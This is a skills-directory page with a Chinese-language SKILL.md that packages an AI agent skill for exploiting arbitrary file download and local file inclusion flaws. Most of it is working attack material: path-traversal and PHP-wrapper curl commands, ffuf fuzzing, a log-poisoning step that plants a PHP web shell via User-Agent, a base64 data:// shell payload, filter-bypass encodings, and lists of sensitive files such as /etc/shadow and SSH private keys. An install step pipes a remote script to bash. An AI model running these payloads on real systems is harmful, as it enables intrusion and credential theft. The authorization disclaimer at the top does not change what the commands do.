Back to skills
SKILL.md
Exploit File Download
FSecurity任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。
- 299 stars
- 0 votes
- 0 copies
- 2 views
- Added June 3, 2026
Works with
Security analysis
5/100- Pipes output to a shell interpreter
- Uses curl or wget to download content
- Accesses sensitive system or user directories
- Accesses sensitive system or user directories
- Reads or references SSH private keys
- Downloads and executes remote scripts — classic supply chain attack
- Downloads and executes remote scripts — classic supply chain attack
- Installs packages at runtime which could introduce malicious dependencies
Pro scans all 10 files and shows the line behind each finding
npx -y skills add crazyMarky/pentest-skills --skill exploit-file-download --agent claude-codeAre you the author of Exploit File Download?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/crazymarky-exploit-file-download)---
name: exploit-file-download
description: 任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。
---
# 任意文件下载与 LFI 检测和利用
## 授权声明
**本 Skill 仅用于授权安全测试。使用前请确保:**
- 获得目标系统所有者的明确书面授权
- 测试范围和授权内容已明确定义
- 遵守当地法律法规
**未经授权的渗透测试是非法行为。**
---
## 概述
本 Skill 专注于**任意文件下载**和**本地文件包含 (LFI)** 类型漏洞的检测与利用。
**注意**:很多端点实际上是**LFI 模式**(参数值被当作文件名包含执行),而非真正的文件下载。因此本 Skill 的核心是**LFI/文件读取能力**。
---
## 核心功能
### 1. LFI 漏洞检测
自动识别以下 LFI 特征:
- **文件包含模式**:参数值被直接用作 `include()` 或`require()` 的文件路径
- **目录遍历模式**:`../` 序列用于遍历目录
- **伪协议利用**:`php://filter`、`php://input` 等
- **路径长度限制**:超长路径可能被截断
- **特殊字符**:`%00` 空字节可能绕过扩展名检查
### 2. 常见 LFI Payload
| 类型 | Payload | 适用场景 |
|------|------|--------|
| **文件包含** | `?title=index.php` | 简单文件包含测试 |
| **路径遍历** | `?title=../../../../etc/passwd` | Linux 目录遍历 |
| **伪协议** | `?title=php://filter/convert.base64-encode/resource=/etc/passwd` | 读取敏感文件源码 |
| **Windows 路径** | `?title=C:\\Windows\\win.ini` | Windows 文件读取 |
| **URL 编码** | `?title=%2e%2e%2f%2e%2e%2fetc/passwd` | 绕过简单过滤 |
### 3. LFI 利用场景
- **源码读取**:读取 PHP 源码进行分析
- **配置获取**:读取数据库配置文件
- **日志投毒**:通过 LFI 写入日志获取 RCE
- **图片马**:配合文件上传 getshell
---
## 工具安装
### 必备工具
```bash
# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl
# Ubuntu/Debian
apt-get install curl
# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest
# wget - 文件下载工具(通常已预装)
# macOS
brew install wget
# Ubuntu/Debian
apt-get install wget
```
### 可选工具
```bash
# dirsearch - 目录扫描工具
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip install -r requirements.txt
# feroxbuster - 快速目录枚举工具
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash
```
---
## 使用方式
### 快速开始
```bash
# 测试 LFI - 简单文件包含
curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd"
# 测试伪协议读取
curl -s "https://target.com/vul/page.php?file=php://filter/convert.base64-encode/resource=index.php"
# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/vul/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200
```
### 场景 1: 基础路径遍历测试
```bash
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../etc/passwd"
curl "https://target.com/vul.php?file=../../etc/passwd"
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../../etc/passwd"
# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
-w <(seq 1 10 | sed 's/^/\.\.\//') \
-mc 200 \
-mr "root:x:0:0"
```
### 场景 2: 伪协议利用
```bash
# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d
# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d
# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"
```
### 场景 3: 日志投毒 RCE
```bash
# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"
# 步骤 2: 包含日志文件执行代码
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"
# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"
```
### 场景 4: 批量文件下载测试
```bash
# 使用 ffuf 测试常见敏感文件
ffuf -u "https://target.com/download.php?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-t 50 \
-o lfi_results.txt
# 使用 wget 批量下载
while read path; do
wget -q "https://target.com/download.php?file=$path" -O "downloaded_$(echo $path | md5sum | cut -c1-8).txt"
done < lfi_payloads.txt
```
### 场景 5: 绕过技术测试
```bash
# URL 编码绕过
curl "https://target.com/vul.php?file=%2e%2e%2f%2e%2e%2fetc/passwd"
# 双重 URL 编码
curl "https://target.com/vul.php?file=%252e%252e%252fetc/passwd"
# 空字节截断(PHP<5.3.4)
curl "https://target.com/vul.php?file=../../etc/passwd%00.jpg"
# 路径变体
curl "https://target.com/vul.php?file=....//....//etc/passwd"
curl "https://target.com/vul.php?file=..\\..\\..\\etc\\passwd"
```
---
## 工具选择指南
| 场景 | 推荐工具 | 命令示例 |
|------|----------|----------|
| 快速单点测试 | curl | `curl "URL?file=../etc/passwd"` |
| 批量 Payload 测试 | ffuf | `ffuf -u URL -w payloads.txt` |
| 文件下载保存 | wget | `wget -O output.txt "URL"` |
| 目录深度枚举 | 自定义脚本 | 见下方深度测试脚本 |
| 响应内容分析 | grep/diff | `grep -i "root:x:0" response.txt` |
### 深度测试脚本
```bash
#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度
URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}
for i in $(seq 1 $MAX_DEPTH); do
payload=$(printf '../%.0s' $(seq 1 $i))
response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")
if echo "$response" | grep -q "root:x:0:0"; then
echo "[+] 成功!深度:$i"
echo "$response"
break
fi
echo "[-] 深度 $i: 未匹配"
done
```
---
## 敏感文件路径清单
### Linux 系统
```bash
# 系统用户信息
/etc/passwd
/etc/shadow # 需要 root 权限
/etc/group
/etc/sudoers
# 系统配置
/etc/hosts
/etc/resolv.conf
/proc/version
/proc/self/environ
# Web 应用配置
/var/www/html/.env
/var/www/html/wp-config.php
/var/www/html/config/database.yml
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa
# 日志文件
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog
```
### Windows 系统
```bash
# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\drivers\etc\hosts
# Web 配置
C:\inetpub\wwwroot\web.config
C:\xampp\htdocs\phpMyAdmin\config.inc.php
# IIS 日志
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log
```
---
## LFI Payload 清单
### 基础 Payload
```
../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/
```
### 编码 Payload
```
%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c
```
### PHP 伪协议
```
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php
```
---
## 测试清单
### 侦察阶段
- [ ] 识别所有可能存在 LFI 的参数(file, page, title, include, path, document)
- [ ] 测试基础路径遍历(../)
- [ ] 确认目标操作系统(Linux/Windows)
- [ ] 测试伪协议可用性(php://filter)
### 利用阶段
- [ ] 读取系统敏感文件(/etc/passwd, /etc/shadow)
- [ ] 读取 Web 应用配置文件(.env, config.php)
- [ ] 读取 PHP 源码分析应用逻辑
- [ ] 尝试日志投毒获取 RCE
- [ ] 尝试/proc/self/environ 利用
### 绕过测试
- [ ] URL 编码绕过(%2e%2e%2f)
- [ ] 双重 URL 编码(%252e%252e%252f)
- [ ] Unicode 混淆(%c0%ae%c0%ae%c0%af)
- [ ] 路径变体(..\, ..//, ..././)
- [ ] 空字节截断(%00)
- [ ] 扩展名绕过(file.php.jpg, file.php.)
---
## 替代方案
如果主要工具不可用,可以使用以下替代方案:
| 主要工具 | 替代方案 | 说明 |
|----------|----------|------|
| curl | wget | `wget -qO- "URL"` 等同于`curl -s "URL"` |
| ffuf | gobuster | `gobuster dir -u URL -w payloads.txt` |
| ffuf | dirsearch | `dirsearch -u URL -e php` |
| curl + grep | httpx + nuclei | 使用 nuclei LFI 模板 |
---
## 相关 Resources
- **技术文档**: `references/lfi_techniques.md` - LFI 完整技术详解
- **PHP 伪协议**: `references/php_wrappers.md` - PHP wrapper 参考
- **绕过技术**: `references/bypass_techniques.md` - 编码和过滤绕过
- **RCE 方法**: `references/rce_methods.md` - 远程代码执行汇总
---
## 与 results-storage 集成
发现 LFI 漏洞后,可以存储到数据库:
```bash
python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/download?file=../../etc/passwd" \
--payload "../../etc/passwd" \
--file-read "root:x:0:0:root:/root:/bin/bash" \
--severity Critical \
--subsystem "Web Application"
```
**数据库位置**: `./data/results.db`
**相关技能**: `results-storage` - 查询数据、生成报告
---
## 最佳实践
1. **始终编码 Payload** - 使用 URL 编码避免被 WAF 拦截
2. **从浅到深测试** - 先测试 1-2 层遍历,再逐步加深
3. **记录响应长度** - 成功响应通常长度异常
4. **使用 base64** - 读取源码时用 base64 避免代码执行
5. **不要忽略 403/404** - 有些 WAF 返回假错误码
---
**最后更新**: 2026-03-05
**版本**: 2.0
Files in this skill
- SKILL.md
- assets/linux_sensitive_files.txt
- assets/traversal_payloads.txt
- assets/windows_sensitive_files.txt
- references/bypass_techniques.md
- references/sensitive_files.md
- scripts/SKILL.md
- scripts/__pycache__/file_download_tester.cpython-314.pyc
- scripts/file_download_storage.py
- scripts/file_download_tester.py
Attribution
Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.